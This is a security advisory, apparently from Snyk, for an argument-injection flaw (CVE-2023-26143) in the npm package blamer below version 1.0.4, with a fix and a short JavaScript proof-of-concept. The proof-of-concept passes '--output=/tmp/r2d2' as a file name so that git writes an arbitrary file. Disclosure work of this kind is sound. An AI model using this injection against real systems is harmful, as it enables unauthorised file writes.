Arbitrary Argument Injection Affecting blamer package, versions <1.0.4
Snyk CVSS
Attack Complexity
Low
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.05% (20th
percentile)
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Test your applications- Snyk ID SNYK-JS-BLAMER-5731318
- published 18 Sep 2023
- disclosed 22 Jun 2023
- credit Liran Tal
Introduced: 22 Jun 2023
CVE-2023-26143 Open this link in a new tabHow to fix?
Upgrade blamer to version 1.0.4 or higher.
Overview
blamer is a tool for get information about author of code from version control system. Supports git and subversion.
Affected versions of this package are vulnerable to Arbitrary Argument Injection via the blameByFile() API. The library does not sanitize for user input or validate the given file path conforms to a specific schema, nor does it properly pass command-line flags to the git binary using the double-dash POSIX characters (--) to communicate the end of options.
PoC
import Blamer from "blamer";
const blamer = new Blamer.default("git");
async function main() {
const file = "--output=/tmp/r2d2";
const result = await blamer.blameByFile(file);
console.log("Blame json: %j", result);
}
main();